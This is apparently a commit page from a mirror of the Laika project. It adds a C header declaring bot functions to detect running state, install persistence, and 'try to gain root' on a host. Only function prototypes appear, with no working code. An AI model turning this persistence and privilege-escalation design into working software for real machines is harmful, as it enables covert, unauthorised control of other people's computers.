1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-09-30 05:30:06 +00:00

Bot persistence boilerplate

This commit is contained in:
2022-04-04 12:12:37 -05:00
parent 3515d10b1c
commit b6bd8b2518
4 changed files with 122 additions and 8 deletions

27
bot/include/persist.h Normal file
View File

@@ -0,0 +1,27 @@
#ifndef LAIKA_PERSIST_H
#define LAIKA_PERSIST_H
#include <stdbool.h>
/* check if laika is already running */
bool laikaB_checkRunning(void);
/* check if laika is already installed on current machine */
bool laikaB_checkPersist(void);
/* check if laika is running as super-user */
bool laikaB_checkRoot(void);
/* mark that laika is currently running */
void laikaB_markRunning(void);
/* unmark that laika is currently running */
void laikaB_unmarkRunning(void);
/* try to gain persistance on machine */
void laikaB_tryPersist(void);
/* try to gain root */
void laikaB_tryRoot(void);
#endif